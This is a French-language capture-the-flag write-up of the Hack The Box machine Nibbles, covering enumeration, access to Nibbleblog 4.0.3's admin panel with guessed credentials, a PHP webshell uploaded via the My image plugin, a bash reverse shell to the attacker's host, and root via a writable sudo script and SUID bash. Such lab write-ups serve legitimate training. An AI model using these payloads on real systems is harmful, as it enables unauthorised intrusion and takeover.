Introduction
La machine Nibbles de Hack The Box, classée HTB Easy, propose un chemin d’exploitation court mais intéressant pour travailler les bases de l’énumération web, de l’identification d’un CMS vulnérable et de l’escalade de privilèges Linux.
La première partie du challenge repose sur un site web minimal qui mène vers une installation de Nibbleblog. L’analyse de l’application permet ensuite d’identifier une version ancienne du CMS, puis de tester concrètement une faiblesse liée au plugin My image. L’exploitation de cet upload permet d’obtenir un premier shell avec l’utilisateur nibbler.
La seconde partie se concentre sur l’environnement local de cet utilisateur. L’examen des droits sudo révèle qu’un script précis peut être exécuté avec les privilèges root. L’analyse des fichiers présents dans le répertoire personnel permet ensuite de relier cette autorisation à un chemin d’escalade exploitable.
Ce writeup détaille donc la progression complète sur Nibbles : énumération des services, découverte de Nibbleblog, prise de pied via upload PHP, stabilisation du shell, puis escalade de privilèges à partir d’un script autorisé en sudo.
Énumération
Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.
Concrètement, l’objectif de cette phase d’énumération est d’identifier :
- quels ports sont ouverts
- quels services sont accessibles
- si une application web est présente
- quels répertoires sont exposés
- si des sous-domaines ou vhosts peuvent être exploités
Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :
- mon-nmap : identifie les ports ouverts et les services en écoute
- mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
- mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts
Tu retrouves ces outils dans la section Outils / Mes scripts.
Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :
/usr/share/wordlists/htb-dns-vh-5000.txt
Avant de lancer les scans, vérifie que le nom d’hôte nibbles.htb résout correctement vers l’adresse IP de la cible.
Sur HTB, cela passe généralement par une entrée dans /etc/hosts.
- Ajoute l’entrée
10.129.x.x nibbles.htbdans/etc/hosts.
sudo nano /etc/hosts
- Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap nibbles.htb
# Résultats dans le répertoire scans_nmap/
# - scans_nmap/full_tcp_scan.txt
# - scans_nmap/enum_ftp_smb_scan.txt
# - scans_nmap/aggressive_vuln_scan.txt
# - scans_nmap/cms_vuln_scan.txt
# - scans_nmap/udp_vuln_scan.txt
Scan initial
Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/nibbles/full_tcp_scan.txt nibbles.htb
Nmap scan report for nibbles.htb (10.129.x.x)
Host is up (0.028s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 6.86 seconds
Scan FTP/SMB
Après le scan initial, le script vérifie la présence éventuelle de services FTP ou SMB afin de lancer une énumération ciblée si nécessaire :
- FTP sur le port 21
- SMB sur le port 139 et/ou 445
Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :
# mon-nmap — ENUM FTP / SMB
# Target : nibbles.htb
# Date : [date]
Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80
Scan agressif
Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.
Ce scan fournit des informations détaillées sur les services et versions détectés.
Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :
[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour nibbles.htb
[+] Commande utilisée :
nmap -Pn -A -sV -p"22,80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "nibbles.htb"
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/nibbles/aggressive_vuln_scan_raw.txt nibbles.htb
Nmap scan report for nibbles.htb (10.129.x.x)
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 13.44 ms 10.10.x.1
2 7.41 ms nibbles.htb (10.129.x.x)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 15.04 seconds
Scan ciblé CMS
Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/nibbles/cms_vuln_scan.txt nibbles.htb
Nmap scan report for nibbles.htb (10.129.x.x)
Host is up (0.013s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
| http-sitemap-generator:
| Directory structure:
| /
| Other: 1
| Longest directory structure:
| Depth: 0
| Dir: /
| Total files found (by extension):
|_ Other: 1
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-headers:
| Date: Thu, 11 Jun 2026 07:59:54 GMT
| Server: Apache/2.4.18 (Ubuntu)
| Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
| ETag: "5d-5616c3cf7fa77"
| Accept-Ranges: bytes
| Content-Length: 93
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 17.78 seconds
Scan UDP rapide
Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/nibbles/udp_vuln_scan.txt nibbles.htb
Warning: 10.129.x.x giving up on port because retransmission cap hit (6).
Nmap scan report for nibbles.htb (10.129.x.x)
Host is up (0.014s latency).
PORT STATE SERVICE
53/udp closed domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp closed ntp
135/udp open|filtered msrpc
137/udp closed netbios-ns
138/udp open|filtered netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp open|filtered microsoft-ds
500/udp closed isakmp
514/udp closed syslog
520/udp closed route
631/udp closed ipp
1434/udp closed ms-sql-m
1900/udp open|filtered upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 9.21 seconds
Énumération des chemins web
Pour la découverte des chemins web, tu peux utiliser le script dédié mon-recoweb
mon-recoweb nibbles.htb
# Résultats dans le répertoire scans_recoweb/
# - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes
# - scans_recoweb/dirb.log
# - scans_recoweb/dirb_hits.txt
# - scans_recoweb/ffuf_dirs.txt
# - scans_recoweb/ffuf_dirs_hits.txt
# - scans_recoweb/ffuf_files.txt
# - scans_recoweb/ffuf_files_hits.txt
# - scans_recoweb/ffuf_dirs.json
# - scans_recoweb/ffuf_files.json
Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, ce qui évite de devoir parcourir l’ensemble des logs générés.
===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script : mon-recoweb v2.2.3
Cible : nibbles.htb
Périmètre : /
Date début : [date]
Commandes exécutées (exactes) :
[dirb — découverte initiale]
dirb http://nibbles.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/nibbles.htb/dirb.log
[ffuf — énumération des répertoires]
ffuf -u http://nibbles.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/nibbles.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/nibbles.htb/ffuf_dirs.log
[ffuf — énumération des fichiers]
ffuf -u http://nibbles.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/nibbles.htb/ffuf_files.json 2>&1 | tee scans_recoweb/nibbles.htb/ffuf_files.log
Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
• répertoires (/chemin/)
• fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
garantissant la reproductibilité complète du scan.
----------------------------------------------------
=== Résultat global (agrégé) ===
http://nibbles.htb/. (CODE:200|SIZE:93)
http://nibbles.htb/.htaccess.bak (CODE:403|SIZE:299)
http://nibbles.htb/.htaccess (CODE:403|SIZE:295)
http://nibbles.htb/.htc (CODE:403|SIZE:290)
http://nibbles.htb/.ht (CODE:403|SIZE:289)
http://nibbles.htb/.htgroup (CODE:403|SIZE:294)
http://nibbles.htb/.htm (CODE:403|SIZE:290)
http://nibbles.htb/.html (CODE:403|SIZE:291)
http://nibbles.htb/.htpasswd (CODE:403|SIZE:295)
http://nibbles.htb/.htpasswds (CODE:403|SIZE:296)
http://nibbles.htb/.htuser (CODE:403|SIZE:293)
http://nibbles.htb/index.html (CODE:200|SIZE:93)
http://nibbles.htb/.php (CODE:403|SIZE:290)
http://nibbles.htb/server-status (CODE:403|SIZE:299)
http://nibbles.htb/server-status/ (CODE:403|SIZE:299)
http://nibbles.htb/wp-forum.phps (CODE:403|SIZE:299)
=== Détails par outil ===
[DIRB]
http://nibbles.htb/index.html (CODE:200|SIZE:93)
http://nibbles.htb/server-status (CODE:403|SIZE:299)
[FFUF — DIRECTORIES]
http://nibbles.htb/server-status/ (CODE:403|SIZE:299)
[FFUF — FILES]
http://nibbles.htb/. (CODE:200|SIZE:93)
http://nibbles.htb/.htaccess.bak (CODE:403|SIZE:299)
http://nibbles.htb/.htaccess (CODE:403|SIZE:295)
http://nibbles.htb/.htc (CODE:403|SIZE:290)
http://nibbles.htb/.ht (CODE:403|SIZE:289)
http://nibbles.htb/.htgroup (CODE:403|SIZE:294)
http://nibbles.htb/.htm (CODE:403|SIZE:290)
http://nibbles.htb/.html (CODE:403|SIZE:291)
http://nibbles.htb/.htpasswd (CODE:403|SIZE:295)
http://nibbles.htb/.htpasswds (CODE:403|SIZE:296)
http://nibbles.htb/.htuser (CODE:403|SIZE:293)
http://nibbles.htb/index.html (CODE:200|SIZE:93)
http://nibbles.htb/.php (CODE:403|SIZE:290)
http://nibbles.htb/wp-forum.phps (CODE:403|SIZE:299)
Recherche de vhosts
Enfin, tu peux tester la présence de vhosts à l’aide du script mon-subdomains .
=== mon-subdomains nibbles.htb START ===
Script : mon-subdomains
Version : mon-subdomains 2.0.1
Date : [date]
Domaine : nibbles.htb
IP : 10.129.x.x
Mode : large
Master : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes : 200,301,302,401,403 (strict=1)
VHOST totaux : 0
- (aucun)
--- Détails par port ---
Port 80 (http)
Baseline#1: code=200 size=93 words=9 (Host=vidt2zbzyq.nibbles.htb)
Baseline#2: code=200 size=93 words=9 (Host=wkm87ohq1h.nibbles.htb)
Baseline#3: code=200 size=93 words=9 (Host=yyl3l5dgem.nibbles.htb)
VHOST (0)
- (fuzzing sauté : wildcard probable)
- (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant)
=== mon-subdomains nibbles.htb END ===
Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.
Prise pied
Identification de Nibbleblog
L’énumération web de la racine du site montre une page très simple Hello world !.
En affichant le code source de cette page, tu identifies un commentaire HTML qui indique un sous-répertoire intéressant :
<!-- /nibbleblog/ directory. Nothing interesting here! -->
Tu visites alors le répertoire indiqué :
http://nibbles.htb/nibbleblog/
Tu arrives sur une instance Nibbleblog, un moteur de blog léger écrit en PHP.

À partir de là, tu relances une énumération web ciblée sur ce sous-répertoire avec mon-recoweb :
mon-recoweb http://nibbles.htb/nibbleblog/
Les résultats agrégés font ressortir notamment les chemins suivants :
http://nibbles.htb/nibbleblog/admin/
http://nibbles.htb/nibbleblog/admin.php (CODE:200|SIZE:1401)
http://nibbles.htb/nibbleblog/content/
http://nibbles.htb/nibbleblog/index.php (CODE:200|SIZE:2987)
http://nibbles.htb/nibbleblog/languages/
http://nibbles.htb/nibbleblog/plugins/
http://nibbles.htb/nibbleblog/README (CODE:200|SIZE:4628)
http://nibbles.htb/nibbleblog/themes/
Deux éléments sont particulièrement utiles pour la suite :
admin.php, qui correspond à l’interface d’administration ;README, qui peut permettre d’identifier précisément la version installée.
Tu consultes donc le fichier README :
http://nibbles.htb/nibbleblog/README
Son contenu indique la version de l’application :
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
La cible utilise donc Nibbleblog v4.0.3.
Cette première étape permet d’identifier clairement la technologie, sa version, ainsi que l’interface d’administration qui servira pour la suite.
Accès à l’interface d’administration
Le scan mon-recoweb a identifié une interface d’administration accessible via admin.php.
Tu l’ouvres dans le navigateur :
http://nibbles.htb/nibbleblog/admin.php
La page affiche un formulaire de connexion à l’administration de Nibbleblog.

À ce stade, tu ne disposes pas encore d’identifiants. Dans le contexte d’une machine CTF, tu peux commencer par tester quelques combinaisons simples basées sur le nom de l’application, le nom de la machine et des identifiants administrateur courants :
admin:admin
admin:password
admin:nibbles
admin:nibbleblog
La combinaison suivante permet d’accéder à l’administration :
admin:nibbles
Tu arrives alors dans le panneau d’administration de Nibbleblog.

L’accès à cette interface est une étape importante : elle te donne accès aux fonctionnalités internes de Nibbleblog, notamment à la gestion des plugins.
Recherche d’une vulnérabilité connue
La version de Nibbleblog étant maintenant identifiée, tu peux vérifier si cette version est associée à une vulnérabilité publique documentée.
Une recherche ciblée sur la version permet de trouver plusieurs références pertinentes :
nibbleblog v4.0.3 vulnerabilities -nibbles

Parmi les résultats, le site Vulners référence une vulnérabilité publiée à l’origine par Curesec / Packet Storm :
https://vulners.com/packetstorm/PACKETSTORM:133425
L’avis de sécurité décrit une vulnérabilité de type Code Execution dans Nibbleblog 4.0.3.
Le point important est le suivant : le plugin My image, fourni par défaut avec Nibbleblog, conserve l’extension originale du fichier envoyé.
L’application ne vérifie pas correctement le type réel du fichier ni son extension avant de l’écrire sur le serveur.
Cela signifie qu’un utilisateur authentifié dans l’administration peut envoyer un fichier PHP à la place d’une image.
Une fois le fichier uploadé, il peut ensuite être appelé depuis le navigateur, ce qui permet d’exécuter du code PHP côté serveur.
L’avis précise que des identifiants administrateur sont nécessaires et que les warnings éventuels pendant l’upload peuvent être ignorés.
Cela correspond à la situation observée : tu as accès à l’administration de Nibbleblog et le plugin My image est présent.
Tu vérifies maintenant concrètement la vulnérabilité décrite dans l’avis de sécurité.
Exploitation du plugin My image
Tu passes maintenant au test pratique depuis l’administration de Nibbleblog.
Sur Kali, tu crées un fichier PHP minimal :
nano shell.php
Avec le contenu suivant :
<?php system($_GET['cmd']); ?>
Ce fichier permet d’exécuter une commande passée dans le paramètre cmd.
Depuis l’administration de Nibbleblog, tu retournes dans la gestion des plugins.

Le plugin My image apparaît bien dans la liste des plugins installés.
Tu l’ouvres afin de vérifier concrètement le comportement décrit dans l’avis de sécurité, puis tu uploades le fichier shell.php.

Comme indiqué dans l’avis de sécurité, l’upload peut afficher des warnings même si le fichier est bien écrit sur le serveur. Tu vérifies donc directement l’emplacement utilisé par le plugin.
Le fichier uploadé est accessible à l’emplacement par défaut de My image :
http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php
Tu vérifies l’exécution de commande avec id :
http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php?cmd=id
La réponse confirme que le PHP est exécuté côté serveur :
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
La vulnérabilité est confirmée : tu disposes maintenant d’une exécution de commande en tant qu’utilisateur nibbler.
Passage du webshell au reverse shell
L’exécution de commande via le paramètre cmd fonctionne, mais ce n’est pas très confortable pour explorer la machine.
Tu vas donc utiliser cette exécution de commande pour obtenir un shell interactif vers Kali.
Sur Kali, tu ouvres d’abord un listener :
rlwrap -cAr nc -lvnp 4444
Ensuite, depuis le webshell PHP, tu exécutes une commande de reverse shell Bash.
http://nibbles.htb/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.x.x/4444+0>%261'
Note — encodage de l’URL
Dans cette URL, certains caractères sont encodés afin que la commande Bash soit transmise correctement au paramètre
cmd.
%26correspond au caractère&;- les
+remplacent les espaces ;- cet encodage évite que le navigateur ou le serveur web n’interprète une partie de la commande comme de simples séparateurs d’URL.
Sur le listener Kali, tu reçois une connexion :
connect to [10.10.x.x] from (UNKNOWN) [10.129.x.x] ...
bash: cannot set terminal process group ...
bash: no job control in this shell
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$
Tu obtiens ainsi un shell sur la machine cible en tant qu’utilisateur nibbler.
Tu peux le confirmer avec :
id
Résultat :
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
Le shell initial est obtenu. Il reste maintenant à le stabiliser pour travailler plus confortablement.
Stabilisation du shell
Le shell obtenu fonctionne, mais il reste limité : pas de vrai terminal interactif, pas de gestion correcte des raccourcis, et le message suivant apparaît :
bash: no job control in this shell
Pour travailler plus confortablement, tu stabilises le reverse shell avec la méthode habituelle : « Stabiliser un Reverse Shell Bash »
Dans le shell obtenu sur la cible, tu lances d’abord Python pour obtenir un pseudo-terminal :
python3 -c 'import pty; pty.spawn("/bin/bash")'
Tu mets ensuite le shell en arrière-plan avec :
Ctrl+Z
De retour sur Kali, tu désactives l’écho local et tu remets le shell au premier plan :
stty raw -echo; fg
Si l’affichage du terminal reste perturbé, tu peux désactiver à nouveau l’écho côté shell :
stty -echo
Tu définis ensuite le type de terminal :
export TERM=xterm
Tu ajustes enfin la taille du terminal selon les dimensions de ta fenêtre Kali :
stty rows 40 columns 120
Après stabilisation, tu vérifies l’utilisateur courant :
id
Résultat :
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
Tu te déplaces ensuite dans le répertoire personnel de l’utilisateur :
cd ~
pwd
Résultat :
/home/nibbler
user.txt
Une fois dans le répertoire personnel de nibbler, tu listes les fichiers disponibles :
ls -l
Résultat :
total 8
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Jun 12 09:01 user.txt
Le fichier user.txt est lisible par l’utilisateur courant.
Tu peux donc récupérer le flag utilisateur :
cat user.txt
ff92xxxxxxxxxxxxxxxxxxxxxxxxxxxffbb
La prise de pied est terminée : tu disposes d’un shell stabilisé en tant qu’utilisateur nibbler, et le flag utilisateur a été récupéré.
Tu peux maintenant passer à l’escalade de privilèges.
Escalade de privilèges
Une fois connecté en tant que nibbler, tu peux commencer l’énumération locale afin d’identifier une piste permettant d’obtenir les privilèges root.
La méthode générale est détaillée dans la recette « Privilege Escalation Linux — Méthode structurée pour CTF et HTB » .
Vérification des droits sudo
Après la prise de pied et la récupération du flag utilisateur, tu vérifies les droits sudo disponibles pour l’utilisateur nibbler :
sudo -l
Résultat :
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Le résultat indique que nibbler peut exécuter en tant que root, sans mot de passe, le script suivant :
/home/nibbler/personal/stuff/monitor.sh
Tu vérifies alors si ce fichier existe déjà :
ls -l /home/nibbler/personal/stuff/monitor.sh
Le fichier n’est pas présent pour le moment. Le chemin indiqué par sudo pointe donc vers un script attendu, mais absent de l’arborescence actuelle.
Recherche du script monitor.sh
Tu reviens alors dans le répertoire personnel de nibbler pour examiner les fichiers disponibles :
cd /home/nibbler
ls -l
Résultat :
total 8
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
-r-------- 1 nibbler nibbler 33 Jun 12 09:01 user.txt
En plus du flag utilisateur, tu trouves une archive nommée personal.zip.
Le chemin autorisé par sudo commence par /home/nibbler/personal/. L’archive personal.zip devient donc un candidat naturel pour retrouver l’arborescence manquante.
Tu peux d’abord lister son contenu sans l’extraire :
unzip -l personal.zip
L’archive contient notamment le fichier attendu :
personal/
personal/stuff/
personal/stuff/monitor.sh
Tu extrais ensuite l’archive :
unzip personal.zip
Puis tu vérifies les fichiers extraits :
find personal -type f -ls
Résultat :
970 4 -rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 personal/stuff/monitor.sh
La sortie confirme la présence du fichier monitor.sh dans l’arborescence extraite :
personal/stuff/monitor.sh
Son chemin complet correspond maintenant au chemin autorisé par sudo :
/home/nibbler/personal/stuff/monitor.sh
Les permissions sont particulièrement favorables :
-rwxrwxrwx
Le script est lisible, exécutable et modifiable par tous les utilisateurs, donc aussi par nibbler.
À ce stade, tu as donc un fichier contrôlable par l’utilisateur courant, et ce même fichier peut être exécuté en tant que root via sudo.
Validation de l’exécution en root
Avant de l’utiliser pour l’escalade, tu peux faire un test simple pour confirmer que son contenu est bien exécuté avec les privilèges root.
Par prudence, tu conserves d’abord une copie du script original :
cp /home/nibbler/personal/stuff/monitor.sh /home/nibbler/personal/stuff/monitor.sh.bak
Tu remplaces ensuite temporairement son contenu par une commande de test :
echo 'id > /var/tmp/monitor-test.txt' > /home/nibbler/personal/stuff/monitor.sh
Tu t’assures que le script reste exécutable :
chmod +x /home/nibbler/personal/stuff/monitor.sh
Puis tu l’exécutes avec sudo :
sudo /home/nibbler/personal/stuff/monitor.sh
Tu vérifies le résultat écrit dans /var/tmp :
cat /var/tmp/monitor-test.txt
Résultat attendu :
uid=0(root) gid=0(root) groups=0(root)
Ce test confirme que le contenu de monitor.sh est bien exécuté avec les privilèges root.
Tu peux maintenant remplacer la commande de test par la commande finale utilisée pour l’escalade.
Exploitation avec un Bash SUID
Une fois l’exécution root confirmée, tu remplaces la commande de test par une commande permettant de poser le bit SUID sur /bin/bash.
L’idée est simple : comme la commande est exécutée avec les privilèges root, elle peut modifier les permissions de /bin/bash. Tu pourras ensuite lancer Bash avec l’option -p pour conserver les privilèges effectifs de root.
echo 'chmod +s /bin/bash' > /home/nibbler/personal/stuff/monitor.sh
Tu relances ensuite le script avec sudo :
sudo /home/nibbler/personal/stuff/monitor.sh
Tu vérifies les permissions de /bin/bash :
ls -l /bin/bash
Le bit SUID doit maintenant apparaître dans les permissions :
-rwsr-sr-x 1 root root ... /bin/bash
Tu peux alors lancer Bash en conservant les privilèges effectifs du propriétaire du binaire avec l’option -p :
bash -p
Tu vérifies l’identité obtenue :
id
Résultat attendu :
uid=1001(nibbler) gid=1001(nibbler) euid=0(root) egid=0(root)
L’euid=0(root) confirme que le shell dispose des privilèges effectifs de root.
root.txt
Tu peux maintenant lire le flag root :
bash-4.3# cat /root/root.txt
8229xxxxxxxxxxxxxxxxxxxxxxxxxx2621
Tu obtiens ainsi un accès root, ce qui termine l’escalade de privilèges et le challenge.
Conclusion
La machine Nibbles est un bon exemple de machine HTB Easy centrée sur une progression web classique : identifier une application, comprendre son fonctionnement, exploiter un upload vulnérable, puis analyser l’environnement utilisateur pour trouver le chemin d’escalade.
La prise de pied repose sur Nibbleblog et son plugin My image, qui permet de déposer un fichier PHP exploitable côté serveur. Cette étape rappelle qu’un upload de fichier doit toujours être vérifié concrètement, notamment lorsque l’application affiche des messages d’erreur ou des warnings qui ne reflètent pas forcément l’état réel du fichier sur le serveur.
L’escalade de privilèges repose ensuite sur une configuration sudo trop permissive. L’utilisateur nibbler peut exécuter un script précis avec les privilèges root, et l’archive personal.zip permet de retrouver l’arborescence attendue ainsi que le script concerné.
Au final, Nibbles reste une machine accessible, mais elle couvre plusieurs réflexes importants : énumérer sans se précipiter, valider les hypothèses sur l’application web, inspecter les fichiers de l’utilisateur compromis et relier les éléments trouvés aux droits sudo disponibles.
Tu as repéré une erreur, une imprécision ou une amélioration possible ?
